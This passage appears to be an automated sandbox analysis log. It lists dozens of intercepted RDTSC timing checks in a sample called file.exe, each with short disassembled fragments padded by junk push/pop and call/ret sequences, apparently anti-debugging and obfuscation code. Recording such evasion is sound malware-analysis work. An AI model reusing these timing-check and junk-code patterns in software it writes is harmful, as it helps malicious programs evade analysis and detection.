Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F6DC second address: 47F701 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5E60CAC690h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480119 second address: 480138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F5E60BA165Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F5E60BA1656h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480138 second address: 480142 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5E60CAC686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4802C0 second address: 4802C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4802C4 second address: 4802EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b mov si, 083Dh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481286 second address: 4812C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D2B19h], ecx 0x0000000e mov dword ptr [ebp+122D20D4h], edx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F5E60BA1658h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov di, ax 0x00000033 push 00000000h 0x00000035 mov si, cx 0x00000038 xchg eax, ebx 0x00000039 push edi 0x0000003a push eax 0x0000003b push edx 0x0000003c push edi 0x0000003d pop edi 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482CD9 second address: 482CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5E60CAC686h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4837AB second address: 4837B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F5E60BA1656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4837B5 second address: 4837C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F5E60CAC686h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4837C8 second address: 4837CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432579 second address: 43257D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48797A second address: 48799A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5E60BA1668h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48799A second address: 48799E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4883B8 second address: 4883C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5E60BA1656h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488168 second address: 48818E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC693h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F5E60CAC68Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C8D5 second address: 48C8DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D8D9 second address: 48D960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E60CAC699h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F5E60CAC688h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a jnp 00007F5E60CAC68Ch 0x00000030 adc ebx, 32BDC50Ah 0x00000036 push 00000000h 0x00000038 je 00007F5E60CAC689h 0x0000003e movsx edi, bx 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007F5E60CAC688h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 0000001Bh 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d xchg eax, esi 0x0000005e push ecx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E8CB second address: 48E8E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E8E6 second address: 48E8EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E8EA second address: 48E8EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EA73 second address: 48EA77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FA99 second address: 48FAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5E60BA165Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EA77 second address: 48EA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49090D second address: 490911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FAAE second address: 48FAB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EA7D second address: 48EA96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F5E60BA1656h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jng 00007F5E60BA1660h 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FB60 second address: 48FB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EB56 second address: 48EB6B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E60BA1656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jl 00007F5E60BA1664h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490AAE second address: 490AB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FB64 second address: 48FB7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1666h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EB6B second address: 48EB71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492BDF second address: 492BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490AB4 second address: 490AB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492BE3 second address: 492BE9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492BE9 second address: 492BEE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490B57 second address: 490B5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490B5D second address: 490B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 493BED second address: 493BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492DF9 second address: 492E07 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492E07 second address: 492E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4969CF second address: 4969D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4969D3 second address: 4969D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4969D9 second address: 496A79 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F5E60CAC694h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F5E60CAC688h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov bx, cx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F5E60CAC688h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 call 00007F5E60CAC694h 0x0000004e mov ebx, dword ptr [ebp+122D3737h] 0x00000054 pop ebx 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F5E60CAC696h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497936 second address: 497958 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497958 second address: 49797E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5E60CAC68Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b adc bx, 66ADh 0x00000010 push 00000000h 0x00000012 mov bh, 5Eh 0x00000014 push 00000000h 0x00000016 sbb bh, 00000000h 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pushad 0x0000001e popad 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4989AB second address: 498A0A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5E60BA1658h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F5E60BA1658h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 call 00007F5E60BA165Ch 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 mov dword ptr [ebp+122D253Ah], edi 0x00000037 xchg eax, esi 0x00000038 ja 00007F5E60BA1662h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498A0A second address: 498A1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC690h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499837 second address: 499852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F5E60BA1656h 0x00000009 jc 00007F5E60BA1656h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499852 second address: 499859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498B42 second address: 498B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498BF9 second address: 498C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F5E60CAC695h 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4999F9 second address: 499A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B9F6 second address: 49BA00 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5E60CAC686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49BA00 second address: 49BA54 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5E60BA1658h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov bx, cx 0x00000012 push 00000000h 0x00000014 sub di, D8D0h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F5E60BA1658h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 xor ebx, dword ptr [ebp+122D202Eh] 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5E60BA1660h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AABA second address: 49AABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49BA54 second address: 49BA76 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E60BA1666h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49BA76 second address: 49BA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449EA9 second address: 449EE1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5E60BA1665h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F5E60BA1664h 0x00000011 jne 00007F5E60BA1656h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449EE1 second address: 449EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jo 00007F5E60CAC686h 0x0000000c je 00007F5E60CAC686h 0x00000012 pop edi 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449EFB second address: 449F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jmp 00007F5E60BA165Fh 0x0000000e pop ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49BD26 second address: 49BD33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F5E60CAC686h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449F17 second address: 449F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60BA1669h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F5E60BA1662h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449F49 second address: 449F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5E60CAC686h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 441A38 second address: 441A40 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5B52 second address: 4A5B7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E60CAC68Ah 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5E60CAC699h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43E1DD second address: 43E1F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43E1F0 second address: 43E206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC68Eh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8A30 second address: 4A8A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jns 00007F5E60BA1656h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8A3C second address: 4A8A40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8A40 second address: 4A8A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60BA1667h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F5E60BA1667h 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8ED1 second address: 4A8EF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC696h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F5E60CAC686h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8EF5 second address: 4A8EF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 443592 second address: 443596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 443596 second address: 4435B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F5E60BA166Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4435B9 second address: 4435D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E60CAC692h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B04B3 second address: 4B04EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5E60BA165Ah 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushad 0x00000015 je 00007F5E60BA1656h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e pushad 0x0000001f push esi 0x00000020 pop esi 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 popad 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 push eax 0x00000028 push edx 0x00000029 jbe 00007F5E60BA1658h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B04EE second address: 4B050A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F5E60CAC686h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B05A7 second address: 4B05AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B05AB second address: 4B05F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F5E60CAC68Fh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 jo 00007F5E60CAC69Dh 0x00000018 jmp 00007F5E60CAC697h 0x0000001d push ebx 0x0000001e pushad 0x0000001f popad 0x00000020 pop ebx 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B05F0 second address: 4B05F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B05F5 second address: 4B05FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B05FA second address: 4B061B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5E60BA1664h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0788 second address: 4B078D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
